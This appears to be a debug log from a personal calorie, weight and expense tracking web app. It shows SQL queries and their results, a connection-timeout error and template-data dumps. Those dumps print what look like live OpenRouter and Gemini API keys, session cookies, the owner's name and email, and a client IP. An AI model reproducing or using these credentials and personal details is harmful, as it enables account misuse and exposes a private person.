    replacements: 'Casein protein (slower digestion, good for muscle building),Egg whites (pure protein, very low calorie),Greek yogurt (high protein, lower calorie than some whey shakes)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high protein content, and relatively low in other macros. Ideal for your goals.'
  },
  {
    id: 503,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)',
    replacements: 'Quinoa Poha (higher protein, more fiber),Oats Poha (more fiber, can be lower calorie depending on preparation),Brown Rice Poha (more fiber than white poha)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, and the vegetables add fiber and micronutrients. A decent breakfast option for your activity level.'
  }
]
2025-12-24T04:16:21.623Z server-connect:app Executing action step setvalue
2025-12-24T04:16:21.623Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T04:16:21.623Z server-connect:output var_total: 360
2025-12-24T04:16:21.623Z server-connect:app Executing action step setvalue
2025-12-24T04:16:21.623Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T04:16:21.624Z server-connect:output var_consumed: 15
2025-12-24T04:16:21.624Z server-connect:app Executing action step setvalue
2025-12-24T04:16:21.624Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T04:16:21.624Z server-connect:output var_deficit: 2040
2025-12-24T04:16:21.624Z server-connect:app Executing action step custom
2025-12-24T04:16:21.624Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T04:16:21.625Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '360',
    surplus_or_deficit: '2040',
    status_flag: 2
  }
]
2025-12-24T04:16:22.148Z server-connect:app Executing action step identify
2025-12-24T04:16:22.148Z server-connect:app options: { provider: 'security' }
2025-12-24T04:16:22.148Z server-connect:output identity: 1
2025-12-24T04:46:51.232Z server-connect:app Executing action step identify
2025-12-24T04:46:51.232Z server-connect:app options: { provider: 'security' }
2025-12-24T04:46:51.232Z server-connect:output identity: 1
2025-12-24T04:46:53.628Z server-connect:app Executing action step identify
2025-12-24T04:46:53.628Z server-connect:app options: { provider: 'security' }
2025-12-24T04:46:53.628Z server-connect:output identity: 1
2025-12-24T05:12:15.231Z server-connect:app Executing action step identify
2025-12-24T05:12:15.231Z server-connect:app options: { provider: 'security' }
2025-12-24T05:12:15.231Z server-connect:output identity: 1
2025-12-24T05:12:17.642Z server-connect:app Executing action step identify
2025-12-24T05:12:17.642Z server-connect:app options: { provider: 'security' }
2025-12-24T05:12:17.642Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 05:13:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 05:13:57' as DATETIME)"
}
2025-12-24T05:28:37.228Z server-connect:app Executing action step identify
2025-12-24T05:28:37.228Z server-connect:app options: { provider: 'security' }
2025-12-24T05:28:37.229Z server-connect:output identity: 1
2025-12-24T05:28:39.661Z server-connect:app Executing action step identify
2025-12-24T05:28:39.661Z server-connect:app options: { provider: 'security' }
2025-12-24T05:28:39.661Z server-connect:output identity: 1
2025-12-24T05:37:26.576Z server-connect:app Executing action step identify
2025-12-24T05:37:26.576Z server-connect:app options: { provider: 'security' }
2025-12-24T05:37:26.576Z server-connect:output identity: 1
2025-12-24T06:58:11.990Z server-connect:router Serving templateView /
2025-12-24T06:58:11.991Z server-connect:app Executing action step identify
2025-12-24T06:58:11.991Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:11.991Z server-connect:output identity: 1
2025-12-24T06:58:11.991Z server-connect:app Executing action step restrict
2025-12-24T06:58:11.991Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T06:58:11.993Z server-connect:output restrict: undefined
2025-12-24T06:58:11.993Z server-connect:app Executing action step restrict
2025-12-24T06:58:11.993Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T06:58:11.993Z server-connect:output restrict: undefined
2025-12-24T06:58:11.993Z server-connect:router Render template layouts/main
2025-12-24T06:58:11.994Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-24T06:58:12.645Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T06:58:12.646Z server-connect:app Executing action step identify
2025-12-24T06:58:12.646Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:12.646Z server-connect:output identity: 1
2025-12-24T06:58:12.646Z server-connect:app Executing action step restrict
2025-12-24T06:58:12.646Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T06:58:12.646Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T06:58:12.646Z server-connect:output restrict: undefined
2025-12-24T06:58:12.646Z server-connect:app Executing action step single
2025-12-24T06:58:12.647Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T06:58:12.647Z server-connect:app Executing action step identify
2025-12-24T06:58:12.647Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:12.647Z server-connect:output identity: 1
2025-12-24T06:58:12.647Z server-connect:app Executing action step restrict
2025-12-24T06:58:12.647Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T06:58:12.647Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T06:58:12.649Z server-connect:output restrict: undefined
2025-12-24T06:58:12.649Z server-connect:app Executing action step select
2025-12-24T06:58:12.649Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T06:58:12.654Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T06:58:15.321Z server-connect:router Serving templateView /weight-trackor
2025-12-24T06:58:15.322Z server-connect:app Executing action step identify
2025-12-24T06:58:15.322Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:15.322Z server-connect:output identity: 1
2025-12-24T06:58:15.322Z server-connect:app Executing action step restrict
2025-12-24T06:58:15.322Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T06:58:15.323Z server-connect:output restrict: undefined
2025-12-24T06:58:15.323Z server-connect:router Render template weight-trackor
2025-12-24T06:58:15.323Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
